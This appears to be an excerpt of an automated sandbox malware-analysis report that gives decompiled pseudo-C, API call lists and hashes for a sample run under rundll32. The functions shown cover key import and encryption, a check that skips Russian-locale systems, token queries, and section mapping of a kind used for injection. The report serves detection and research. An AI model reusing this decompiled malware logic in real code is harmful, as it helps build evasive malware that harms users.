                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: lstrlen$AllocateHeaplstrcatlstrcpy
                  • String ID:
                  • API String ID: 74227042-0
                  • Opcode ID: 982e689ee6af47e7b3cde890ae4164a278eb29c0a39005a7277fccb5445e8eb0
                  • Instruction ID: 0a54a3e2625dbfc918c63aff3c239160fcc1acec60384acdf50cebd78d591b46
                  • Opcode Fuzzy Hash: 982e689ee6af47e7b3cde890ae4164a278eb29c0a39005a7277fccb5445e8eb0
                  • Instruction Fuzzy Hash: E4E092B3501620AB8711ABBAAC48C6FBBBDFFC9661304041BF600D7101DB39AD058BB5
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Executed Functions

                  Function 04D51508 Relevance: 18.2, APIs: 12, Instructions: 163encryptionCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 107 4d51508-4d51548 CryptAcquireContextW 108 4d5169f-4d516a5 GetLastError 107->108 109 4d5154e-4d5158a memcpy CryptImportKey 107->109 110 4d516a8-4d516af 108->110 111 4d51590-4d515a2 CryptSetKeyParam 109->111 112 4d5168a-4d51690 GetLastError 109->112 114 4d51676-4d5167c GetLastError 111->114 115 4d515a8-4d515b1 111->115 113 4d51693-4d5169d CryptReleaseContext 112->113 113->110 116 4d5167f-4d51688 CryptDestroyKey 114->116 117 4d515b3-4d515b5 115->117 118 4d515b9-4d515c6 call 4d533dc 115->118 116->113 117->118 119 4d515b7 117->119 122 4d5166d-4d51674 118->122 123 4d515cc-4d515d5 118->123 119->118 122->116 124 4d515d8-4d515e0 123->124 125 4d515e5-4d51602 memcpy 124->125 126 4d515e2 124->126 127 4d51604-4d5161b CryptEncrypt 125->127 128 4d5161d-4d51629 125->128 126->125 129 4d51632-4d51634 127->129 128->129 130 4d51644-4d5164f GetLastError 129->130 131 4d51636-4d51640 129->131 133 4d51651-4d51661 130->133 134 4d51663-4d5166b call 4d561da 130->134 131->124 132 4d51642 131->132 132->133 133->116 134->116
                  C-Code - Quality: 50%
                  			E04D51508(int __eax, intOrPtr _a4, int _a8, void* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				int _v8;
				long* _v12;
				int _v16;
				void* _v20;
				long* _v24;
				void* _v39;
				char _v40;
				void _v56;
				int _v60;
				intOrPtr _v64;
				void _v67;
				char _v68;
				void* _t61;
				int _t68;
				signed int _t76;
				int _t79;
				int _t81;
				void* _t85;
				long _t86;
				int _t90;
				signed int _t94;
				int _t101;
				void* _t102;
				int _t103;
				void* _t104;
				void* _t105;
				void* _t106;

				_t103 = __eax;
				_t94 = 6;
				_v68 = 0;
				memset( &_v67, 0, _t94 << 2);
				_t105 = _t104 + 0xc;
				asm("stosw");
				asm("stosb");
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_t61 =  *0x4d5a0e8( &_v24, 0, 0, 0x18, 0xf0000000); // executed
				if(_t61 == 0) {
					_a8 = GetLastError();
				} else {
					_t101 = 0x10;
					memcpy( &_v56, _a8, _t101);
					_t106 = _t105 + 0xc;
					_v60 = _t101;
					_v67 = 2;
					_v64 = 0x660e;
					_v68 = 8;
					_t68 = CryptImportKey(_v24,  &_v68, 0x1c, 0, 0,  &_v12); // executed
					if(_t68 == 0) {
						_a8 = GetLastError();
					} else {
						_push(0);
						_push( &_v40);
						_push(1);
						_push(_v12);
						if( *0x4d5a0e4() == 0) {
							_a8 = GetLastError();
						} else {
							_t18 = _t103 + 0xf; // 0x10
							_t76 = _t18 & 0xfffffff0;
							if(_a4 != 0 && _t76 == _t103) {
								_t76 = _t76 + _t101;
							}
							_t102 = E04D533DC(_t76);
							_v20 = _t102;
							if(_t102 == 0) {
								_a8 = 8;
							} else {
								_v16 = 0;
								_a8 = 0;
								while(1) {
									_t79 = 0x10;
									_v8 = _t79;
									if(_t103 <= _t79) {
										_v8 = _t103;
									}
									memcpy(_t102, _a12, _v8);
									_t81 = _v8;
									_a12 = _a12 + _t81;
									_t103 = _t103 - _t81;
									_t106 = _t106 + 0xc;
									if(_a4 == 0) {
										_t85 =  *0x4d5a0a8(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8);
									} else {
										_t85 =  *0x4d5a0c0(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8, 0x20);
									}
									if(_t85 == 0) {
										break;
									}
									_t90 = _v8;
									_v16 = _v16 + _t90;
									_t102 = _t102 + _t90;
									if(_t103 != 0) {
										continue;
									} else {
										L17:
										 *_a16 = _v20;
										 *_a20 = _v16;
									}
									goto L21;
								}
								_t86 = GetLastError();
								_a8 = _t86;
								if(_t86 != 0) {
									E04D561DA(_v20);
								} else {
									goto L17;
								}
							}
						}
						L21:
						CryptDestroyKey(_v12);
					}
					CryptReleaseContext(_v24, 0);
				}
				return _a8;
			}






























                  0x04d51511
                  0x04d51517
                  0x04d5151a
                  0x04d51520
                  0x04d51520
                  0x04d51522
                  0x04d51524
                  0x04d51527
                  0x04d5152d
                  0x04d5152e
                  0x04d5152f
                  0x04d51535
                  0x04d5153a
                  0x04d51540
                  0x04d51548
                  0x04d516a5
                  0x04d5154e
                  0x04d51550
                  0x04d51559
                  0x04d5155e
                  0x04d51570
                  0x04d51573
                  0x04d51577
                  0x04d5157e
                  0x04d51582
                  0x04d5158a
                  0x04d51690
                  0x04d51590
                  0x04d51590
                  0x04d51594
                  0x04d51595
                  0x04d51597
                  0x04d515a2
                  0x04d5167c
                  0x04d515a8
                  0x04d515a8
                  0x04d515ab
                  0x04d515b1
                  0x04d515b7
                  0x04d515b7
                  0x04d515bf
                  0x04d515c1
                  0x04d515c6
                  0x04d5166d
                  0x04d515cc
                  0x04d515d2
                  0x04d515d5
                  0x04d515d8
                  0x04d515da
                  0x04d515db
                  0x04d515e0
                  0x04d515e2
                  0x04d515e2
                  0x04d515ec
                  0x04d515f1
                  0x04d515f4
                  0x04d515f7
                  0x04d515f9
                  0x04d51602
                  0x04d5162c
                  0x04d51604
                  0x04d51615
                  0x04d51615
                  0x04d51634
                  0x00000000
                  0x00000000
                  0x04d51636
                  0x04d51639
                  0x04d5163c
                  0x04d51640
                  0x00000000
                  0x04d51642
                  0x04d51651
                  0x04d51657
                  0x04d5165f
                  0x04d5165f
                  0x00000000
                  0x04d51640
                  0x04d51644
                  0x04d5164a
                  0x04d5164f
                  0x04d51666
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d5164f
                  0x04d515c6
                  0x04d5167f
                  0x04d51682
                  0x04d51682
                  0x04d51697
                  0x04d51697
                  0x04d516af

                  APIs
                  • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,04D55088,00000001,04D53ECE,00000000), ref: 04D51540
                  • memcpy.NTDLL(04D55088,04D53ECE,00000010,?,?,?,04D55088,00000001,04D53ECE,00000000,?,04D566D9,00000000,04D53ECE,?,7491C740), ref: 04D51559
                  • CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 04D51582
                  • CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 04D5159A
                  • memcpy.NTDLL(00000000,7491C740,05C79600,00000010), ref: 04D515EC
                  • CryptEncrypt.ADVAPI32(00000000,00000000,00000000,00000000,00000000,05C79600,00000020,?,?,00000010), ref: 04D51615
                  • GetLastError.KERNEL32(?,?,00000010), ref: 04D51644
                  • GetLastError.KERNEL32 ref: 04D51676
                  • CryptDestroyKey.ADVAPI32(00000000), ref: 04D51682
                  • GetLastError.KERNEL32 ref: 04D5168A
                  • CryptReleaseContext.ADVAPI32(?,00000000), ref: 04D51697
                  • GetLastError.KERNEL32(?,?,?,04D55088,00000001,04D53ECE,00000000,?,04D566D9,00000000,04D53ECE,?,7491C740,04D53ECE,00000000,05C79600), ref: 04D5169F
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: Crypt$ErrorLast$Contextmemcpy$AcquireDestroyEncryptImportParamRelease
                  • String ID:
                  • API String ID: 3401600162-0
                  • Opcode ID: 4a4013540cf8ac59e1d7c208d63caf77ac8aa4b548daec92e4bef7cd7f0522cd
                  • Instruction ID: 355929714116529d181dc433a03323ad29343276fed9ba3d5fa7e77f25a0384f
                  • Opcode Fuzzy Hash: 4a4013540cf8ac59e1d7c208d63caf77ac8aa4b548daec92e4bef7cd7f0522cd
                  • Instruction Fuzzy Hash: 73513BB1E00219FFDF10DFA8D888AAEBBB9FB04350F044569F915E6250DB749E14DB60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04CC1226 Relevance: 18.1, APIs: 12, Instructions: 139sleepnativesynchronizationCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 137 4cc1226-4cc1236 call 4cc1f1e 140 4cc123c-4cc123e 137->140 141 4cc13a3-4cc13a4 137->141 142 4cc123f-4cc1246 140->142 143 4cc1247-4cc1251 call 4cc2046 142->143 146 4cc1288 143->146 147 4cc1253-4cc126e NtQuerySystemInformation 143->147 148 4cc128f-4cc1293 146->148 149 4cc1270 147->149 150 4cc1273-4cc1286 call 4cc1cd6 147->150 148->143 152 4cc1295-4cc12ae call 4cc1ac4 Sleep 148->152 149->150 150->148 152->142 156 4cc12b0-4cc12b4 152->156 157 4cc12ba-4cc12d2 GetLocaleInfoA 156->157 158 4cc13a0-4cc13a2 156->158 159 4cc12ec-4cc12f5 157->159 160 4cc12d4-4cc12e7 GetSystemDefaultUILanguage VerLanguageNameA 157->160 158->141 161 4cc12fb-4cc12fe 159->161 162 4cc1392-4cc1398 159->162 160->159 164 4cc134f-4cc1363 call 4cc1f97 161->164 165 4cc1300-4cc130b call 4cc1516 161->165 162->158 163 4cc139a GetLastError 162->163 163->158 172 4cc1389-4cc138f GetLastError 164->172 173 4cc1365-4cc1373 WaitForSingleObject 164->173 170 4cc130d-4cc131f GetLongPathNameW 165->170 171 4cc1349 165->171 174 4cc1341-4cc1347 170->174 175 4cc1321-4cc1332 call 4cc2046 170->175 171->164 172->162 176 4cc1375-4cc137a GetExitCodeThread 173->176 177 4cc1380-4cc1387 CloseHandle 173->177 174->164 175->174 180 4cc1334-4cc133f GetLongPathNameW call 4cc1cd6 175->180 176->177 177->162 180->164
                  C-Code - Quality: 79%
                  			E04CC1226(char _a4) {
				long _v8;
				char _v12;
				char _v36;
				long _t29;
				long _t31;
				long _t32;
				signed short _t34;
				long _t39;
				intOrPtr _t47;
				signed int _t54;
				signed int _t55;
				long _t60;
				intOrPtr _t62;
				void* _t67;
				void* _t69;
				signed int _t71;
				signed int _t72;
				void* _t76;
				intOrPtr* _t77;

				_t29 = E04CC1F1E();
				_v8 = _t29;
				if(_t29 != 0) {
					return _t29;
				} else {
					do {
						_t71 = 0;
						_v12 = 0;
						_t60 = 0x30;
						do {
							_t67 = E04CC2046(_t60);
							if(_t67 == 0) {
								_v8 = 8;
							} else {
								_t54 = NtQuerySystemInformation(8, _t67, _t60,  &_v12); // executed
								_t63 = _t54;
								_t55 = _t54 & 0x0000ffff;
								_v8 = _t55;
								if(_t55 == 4) {
									_t60 = _t60 + 0x30;
								}
								_t72 = 0x13;
								_t10 = _t63 + 1; // 0x1
								_t71 =  *_t67 % _t72 + _t10;
								E04CC1CD6(_t67);
							}
						} while (_v8 != 0);
						_t31 = E04CC1AC4(_t71); // executed
						_v8 = _t31;
						Sleep(_t71 << 4); // executed
						_t32 = _v8;
					} while (_t32 == 0x15);
					if(_t32 != 0) {
						L28:
						return _t32;
					}
					_v12 = 0;
					_t34 = GetLocaleInfoA(0x400, 0x5a,  &_v12, 4);
					if(_t34 == 0) {
						__imp__GetSystemDefaultUILanguage();
						_t63 =  &_v12;
						VerLanguageNameA(_t34 & 0xffff,  &_v12, 4);
					}
					if(_v12 == 0x5552) {
						L26:
						_t32 = _v8;
						if(_t32 == 0xffffffff) {
							_t32 = GetLastError();
						}
						goto L28;
					} else {
						if(_a4 != 0) {
							L21:
							_push(0);
							_t76 = E04CC1F97(E04CC20A4,  &_v36);
							if(_t76 == 0) {
								_v8 = GetLastError();
							} else {
								_t39 = WaitForSingleObject(_t76, 0xffffffff);
								_v8 = _t39;
								if(_t39 == 0) {
									GetExitCodeThread(_t76,  &_v8);
								}
								CloseHandle(_t76);
							}
							goto L26;
						}
						if(E04CC1516(_t63,  &_a4) != 0) {
							 *0x4cc41b8 = 0;
							goto L21;
						}
						_t62 = _a4;
						_t77 = __imp__GetLongPathNameW;
						_t69 =  *_t77(_t62, 0, 0);
						if(_t69 == 0) {
							L19:
							 *0x4cc41b8 = _t62;
							goto L21;
						}
						_t23 = _t69 + 2; // 0x2
						_t47 = E04CC2046(_t69 + _t23);
						 *0x4cc41b8 = _t47;
						if(_t47 == 0) {
							goto L19;
						}
						 *_t77(_t62, _t47, _t69);
						E04CC1CD6(_t62);
						goto L21;
					}
				}
			}






















                  0x04cc122c
                  0x04cc1231
                  0x04cc1236
                  0x04cc13a4
                  0x04cc123c
                  0x04cc123f
                  0x04cc123f
                  0x04cc1243
                  0x04cc1246
                  0x04cc1247
                  0x04cc124d
                  0x04cc1251
                  0x04cc1288
                  0x04cc1253
                  0x04cc125b
                  0x04cc1261
                  0x04cc1263
                  0x04cc1268
                  0x04cc126e
                  0x04cc1270
                  0x04cc1270
                  0x04cc1277
                  0x04cc127d
                  0x04cc127d
                  0x04cc1281
                  0x04cc1281
                  0x04cc128f
                  0x04cc1296
                  0x04cc129f
                  0x04cc12a2
                  0x04cc12a8
                  0x04cc12ab
                  0x04cc12b4
                  0x04cc13a0
                  0x00000000
                  0x04cc13a2
                  0x04cc12c7
                  0x04cc12ca
                  0x04cc12d2
                  0x04cc12d4
                  0x04cc12df
                  0x04cc12e7
                  0x04cc12e7
                  0x04cc12f5
                  0x04cc1392
                  0x04cc1392
                  0x04cc1398
                  0x04cc139a
                  0x04cc139a
                  0x00000000
                  0x04cc12fb
                  0x04cc12fe
                  0x04cc134f
                  0x04cc134f
                  0x04cc135f
                  0x04cc1363
                  0x04cc138f
                  0x04cc1365
                  0x04cc1368
                  0x04cc136e
                  0x04cc1373
                  0x04cc137a
                  0x04cc137a
                  0x04cc1381
                  0x04cc1381
                  0x00000000
                  0x04cc1363
                  0x04cc130b
                  0x04cc1349
                  0x00000000
                  0x04cc1349
                  0x04cc130d
                  0x04cc1312
                  0x04cc131b
                  0x04cc131f
                  0x04cc1341
                  0x04cc1341
                  0x00000000
                  0x04cc1341
                  0x04cc1321
                  0x04cc1326
                  0x04cc132b
                  0x04cc1332
                  0x00000000
                  0x00000000
                  0x04cc1337
                  0x04cc133a
                  0x00000000
                  0x04cc133a
                  0x04cc12f5

                  APIs
                    • Part of subcall function 04CC1F1E: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,04CC1231), ref: 04CC1F2D
                    • Part of subcall function 04CC1F1E: GetVersion.KERNEL32 ref: 04CC1F3C
                    • Part of subcall function 04CC1F1E: GetCurrentProcessId.KERNEL32 ref: 04CC1F58
                    • Part of subcall function 04CC1F1E: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 04CC1F71
                    • Part of subcall function 04CC2046: RtlAllocateHeap.NTDLL(00000000,?,04CC124D,00000030,74CB63F0,00000000), ref: 04CC2052
                  • NtQuerySystemInformation.NTDLL(00000008,00000000,00000030,?), ref: 04CC125B
                  • Sleep.KERNEL32(00000000,00000000,00000030,74CB63F0,00000000), ref: 04CC12A2
                  • GetLocaleInfoA.KERNEL32(00000400,0000005A,?,00000004), ref: 04CC12CA
                  • GetSystemDefaultUILanguage.KERNEL32 ref: 04CC12D4
                  • VerLanguageNameA.KERNEL32(?,?,00000004), ref: 04CC12E7
                  • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 04CC1319
                  • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 04CC1337
                  • WaitForSingleObject.KERNEL32(00000000,000000FF,04CC20A4,?,00000000), ref: 04CC1368
                  • GetExitCodeThread.KERNEL32(00000000,00000000), ref: 04CC137A
                  • CloseHandle.KERNEL32(00000000), ref: 04CC1381
                  • GetLastError.KERNEL32(04CC20A4,?,00000000), ref: 04CC1389
                  • GetLastError.KERNEL32 ref: 04CC139A
                  Memory Dump Source
                  • Source File: 00000005.00000002.776540685.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: true
                  • Associated: 00000005.00000002.776540685.0000000004CC5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4cc0000_rundll32.jbxd
                  Similarity
                  • API ID: Name$ErrorLanguageLastLongPathProcessSystem$AllocateCloseCodeCreateCurrentDefaultEventExitHandleHeapInfoInformationLocaleObjectOpenQuerySingleSleepThreadVersionWait
                  • String ID:
                  • API String ID: 1327471650-0
                  • Opcode ID: b4d8c64a9437084aa83a393e1764ed7088bc49837398830d989c69e27b3bfbed
                  • Instruction ID: ba5f763978ac7385401d8b50e3993202ac51b27e71f4d9ae220c0f63fdb862c6
                  • Opcode Fuzzy Hash: b4d8c64a9437084aa83a393e1764ed7088bc49837398830d989c69e27b3bfbed
                  • Instruction Fuzzy Hash: 2F41C679900214AAE720AFA7DC44AAE7AAEEF04754F1C415AE941D7141EF34EA409FA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D5421F Relevance: 10.6, APIs: 7, Instructions: 81nativeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 38%
                  			E04D5421F(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E04D533DC(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E04D561DA(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}



















                  0x04d5422c
                  0x04d5422d
                  0x04d5422e
                  0x04d5422f
                  0x04d54230
                  0x04d54234
                  0x04d5423b
                  0x04d5424a
                  0x04d5424d
                  0x04d54250
                  0x04d54257
                  0x04d5425a
                  0x04d5425d
                  0x04d54260
                  0x04d54263
                  0x04d5426e
                  0x04d54270
                  0x04d54279
                  0x04d54281
                  0x04d54283
                  0x04d54295
                  0x04d5429f
                  0x04d542a3
                  0x04d542b2
                  0x04d542b6
                  0x04d542bf
                  0x04d542c7
                  0x04d542c7
                  0x04d542c9
                  0x04d542c9
                  0x04d542d1
                  0x04d542d7
                  0x04d542db
                  0x04d542db
                  0x04d542e6

                  APIs
                  • NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 04D54266
                  • NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 04D54279
                  • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04D54295
                    • Part of subcall function 04D533DC: RtlAllocateHeap.NTDLL(00000000,00000000,04D562F6), ref: 04D533E8
                  • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04D542B2
                  • memcpy.NTDLL(?,00000000,0000001C), ref: 04D542BF
                  • NtClose.NTDLL(?), ref: 04D542D1
                  • NtClose.NTDLL(00000000), ref: 04D542DB
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
                  • String ID:
                  • API String ID: 2575439697-0
                  • Opcode ID: a60cc7f8fea39b65d6edfd3816ceb73afc9277a88822865fcc1f0f04538cdfb9
                  • Instruction ID: d1729cec6399bec1a31f5392270156a0579dbbcbf437a03106b912baf2b7c77d
                  • Opcode Fuzzy Hash: a60cc7f8fea39b65d6edfd3816ceb73afc9277a88822865fcc1f0f04538cdfb9
                  • Instruction Fuzzy Hash: F72116B2A00228FBDF019F95DC84ADEBFBDFF08750F104062F905A6220DB759A549BA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04CC1E76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70nativeCOMMON
                  Download Yara Rule
                  C-Code - Quality: 72%
                  			E04CC1E76(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E04CC205B(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}


















                  0x04cc1e7f
                  0x04cc1e86
                  0x04cc1e87
                  0x04cc1e88
                  0x04cc1e89
                  0x04cc1e8a
                  0x04cc1e9b
                  0x04cc1e9f
                  0x04cc1eb3
                  0x04cc1eb6
                  0x04cc1eb9
                  0x04cc1ec0
                  0x04cc1ec3
                  0x04cc1eca
                  0x04cc1ecd
                  0x04cc1ed0
                  0x04cc1ed3
                  0x04cc1ed8
                  0x04cc1f13
                  0x04cc1eda
                  0x04cc1edd
                  0x04cc1ee3
                  0x04cc1ee8
                  0x04cc1eec
                  0x04cc1f0a
                  0x04cc1eee
                  0x04cc1ef5
                  0x04cc1f03
                  0x04cc1f03
                  0x04cc1eec
                  0x04cc1f1b

                  APIs
                  • NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000), ref: 04CC1ED3
                    • Part of subcall function 04CC205B: NtMapViewOfSection.NTDLL(00000000,000000FF,04CC1EE8,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,04CC1EE8,?), ref: 04CC2088
                  • memset.NTDLL ref: 04CC1EF5
                  Strings
                  Memory Dump Source
                  • Source File: 00000005.00000002.776540685.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: true
                  • Associated: 00000005.00000002.776540685.0000000004CC5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4cc0000_rundll32.jbxd
                  Similarity
                  • API ID: Section$CreateViewmemset
                  • String ID: @
                  • API String ID: 2533685722-2766056989
                  • Opcode ID: fa753cef06104476d53969443a654dc04909e7da4e769446aba477b5a702ba18
                  • Instruction ID: 409bbe6ed4ffdec7ad6b3f7a3ef5aac40584843785c0d083a6a9812c6833d553
                  • Opcode Fuzzy Hash: fa753cef06104476d53969443a654dc04909e7da4e769446aba477b5a702ba18
                  • Instruction Fuzzy Hash: 30211DB1D00209AFDB11DFA9C8849EEFBBAEF48354F14446AE516F3210D731AA459F64
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04C80D2E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memorynativeCOMMON
                  Download Yara Rule
                  APIs
                  • NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00001000,?,04C80D2E,?,?,?,?,009443B5), ref: 04C80D6F
                  Strings
                  Memory Dump Source
                  • Source File: 00000005.00000002.776481918.0000000004C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4c80000_rundll32.jbxd
                  Similarity
                  • API ID: AllocateMemoryVirtual
                  • String ID: $J
                  • API String ID: 2167126740-2211503540
                  • Opcode ID: 5f574d9d49333186a4c73137fca3ce9d82e6f6f8f83925c18a500d36b985e605
                  • Instruction ID: a144944ce536f480d440b5c239ece093cba69995cf5f387d7a3100853cdde802
                  • Opcode Fuzzy Hash: 5f574d9d49333186a4c73137fca3ce9d82e6f6f8f83925c18a500d36b985e605
                  • Instruction Fuzzy Hash: DDF0F83A604208FFEB00CEC8DD40FDDB7B8EB89324F2082A2E520E6190D7B09A049B50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04C80D8D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27nativeCOMMON
                  Download Yara Rule
                  APIs
                  • NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000,04C80D8D,?,?,?,?,?), ref: 04C80DC7
                  Strings
                  Memory Dump Source
                  • Source File: 00000005.00000002.776481918.0000000004C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4c80000_rundll32.jbxd
                  Similarity
                  • API ID: FreeMemoryVirtual
                  • String ID: M%J
                  • API String ID: 3963845541-4193894376
                  • Opcode ID: 9ea6db0e0cc000246cee115963e7fd772b001f044fd3997d0d2202d703182e26
                  • Instruction ID: bf7872c9fe9f5693e852e83aeca34595a71a77fe32d333bc827e9c3a3d5de9a0
                  • Opcode Fuzzy Hash: 9ea6db0e0cc000246cee115963e7fd772b001f044fd3997d0d2202d703182e26
                  • Instruction Fuzzy Hash: B2E0C93B604118FEDB00CFD8E940DDDBB79EF89334B208262E514A60A0D7719754AB50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04CC205B Relevance: 1.5, APIs: 1, Instructions: 34nativeCOMMON
                  Download Yara Rule
                  C-Code - Quality: 68%
                  			E04CC205B(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}







                  0x04cc206d
                  0x04cc2073
                  0x04cc2081
                  0x04cc2088
                  0x04cc208d
                  0x04cc2093
                  0x00000000
                  0x04cc2094
                  0x00000000

                  APIs
                  • NtMapViewOfSection.NTDLL(00000000,000000FF,04CC1EE8,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,04CC1EE8,?), ref: 04CC2088
                  Memory Dump Source
                  • Source File: 00000005.00000002.776540685.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: true
                  • Associated: 00000005.00000002.776540685.0000000004CC5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4cc0000_rundll32.jbxd
                  Similarity
                  • API ID: SectionView
                  • String ID:
                  • API String ID: 1323581903-0
